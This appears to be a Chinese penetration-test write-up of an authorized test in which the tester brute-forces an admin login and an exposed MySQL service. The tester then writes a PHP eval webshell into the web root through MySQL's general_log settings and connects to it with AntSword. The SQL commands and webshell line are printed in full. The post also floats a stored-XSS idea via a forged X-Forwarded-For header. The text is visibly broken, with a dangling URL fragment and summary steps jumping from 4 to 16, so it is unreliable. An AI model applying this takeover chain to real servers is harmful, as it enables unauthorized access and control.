前言

前不久的一次授权测试中,感觉缺少任何一步都无法达到getshell的目的,单个漏洞看得话确实平平无奇,但是如果组合起来的话也许会有意想不到的化学效应。

前期测试

拿到这个站的时候一眼就看见了会员登录界面,一开始想着注册,但是觉得会员功能应该很少,没验证码啥的,万一后台管理员也是会员呢那岂不是要是爆破出来了可以去后台尝试一波。
https://www.freebuf.com/vuls/217586.html), 基本上能尝试的都payload都试了试,应该是版本高漏洞修复了或者利用方式不太对,反正是没利用成功。有的方法对网站有破坏性,我要是试了不得被打死呀。既然到现在无法getshell,那就尝试找找漏洞吧,领导说的好如果无法getshell就多找漏洞,听领导的总没有错。

进阶阶段

在一开始打开网站的时候,由于安装了谷歌插件sensinfor(t00ls上发现的),可以初步探测网站的敏感目录,比如备份文件,phpmyadmin,phpinfo等等,在一开始就探测出存在phpinfo,获取了网站的绝对路径

接下来就是常规操作了,试下log写日志吧

show variables like '%general%';  查看日志状态
SET GLOBAL general_log='on'     开启日志读写
SET GLOBAL general_log_file='xxx.php'  指定日志路径
SELECT '<?php eval($_POST["cmd"]);?>'  写日志进xxx.php

其他漏洞

基于负责任的态度也发现了 一些其他的漏洞,不过相对来说危害性不大吧,但是如果在写测试报告的时候如果没得写也是可以写上的。

登录IP伪造

这个后台一般都有记录用户登录IP的习惯,但是如果记录IP的时候选取的是x-forward-for构造的IP,这样攻击者是可以伪造登录IP的,如果没有对IP的合法性进行校验,构造一个XSS payload触发存储型XSS这也不是没可能,在测试的时候就遇到过几次,后台记录会员登录IP的地方存在存储型XSS

不过这里美中不足的是后台对IP的合法性进行了校验,如果是不合法的IP会被重置为0.0.0.0

越权漏洞

登录后发现管理员没办法对自己进行操作,这很尴尬,管理员都没办法更改自己的信息

总结

1.对目标站点管理员后台输入admin账号,密码任意,显示密码错误,则admin 账号存在
2.通过 bp的intruder功能对admin账号进行爆破,密码字典选用fuzzDicts字典
(https://github.com/TheKingOfDuck/fuzzDicts),可成功爆破。
3.进入后台后,在图片上传存在文件上传,但是上传处目标站点已进行白名单限制,不能上传一句话。
4.通过云蟋对目标站点进行cms指纹探测,发现是thinkcm系统,测试几个历史漏洞,但无果。
16.通过谷歌浏览器插件sensinfor进行信息探测,发现存在phpinfo.php,这里显示了网站的绝对路径
17.通过namp对目标站点的IP进行扫描,发现存在3306端口
18.通过超级弱口令工具对目标站点的3306端口进行爆破,最终成功爆破密码。
19.通过navicat远程连接目标站点mysql,在SQL命令终端处,通过log日志记录写入一句话
show variables like '%general%';  查看日志状态
SET GLOBAL general_log='on'     开启日志读写
SET GLOBAL general_log_file='xxx.php'  指定日志路径
SELECT '<?php eval($_POST["cmd"]);?>'  写日志进xxx.php
20.最后通过蚁剑成功连接一句话


相关文章:

  • 2021-05-18
  • 2021-09-14
  • 2021-08-09
  • 2022-01-16
  • 2022-01-05
  • 2022-01-16
  • 2019-08-08
猜你喜欢
  • 2021-07-28
  • 2022-12-23
  • 2022-12-23
  • 2021-10-14
  • 2021-07-04
  • 2021-04-05
  • 2021-12-02
相关资源
相似解决方案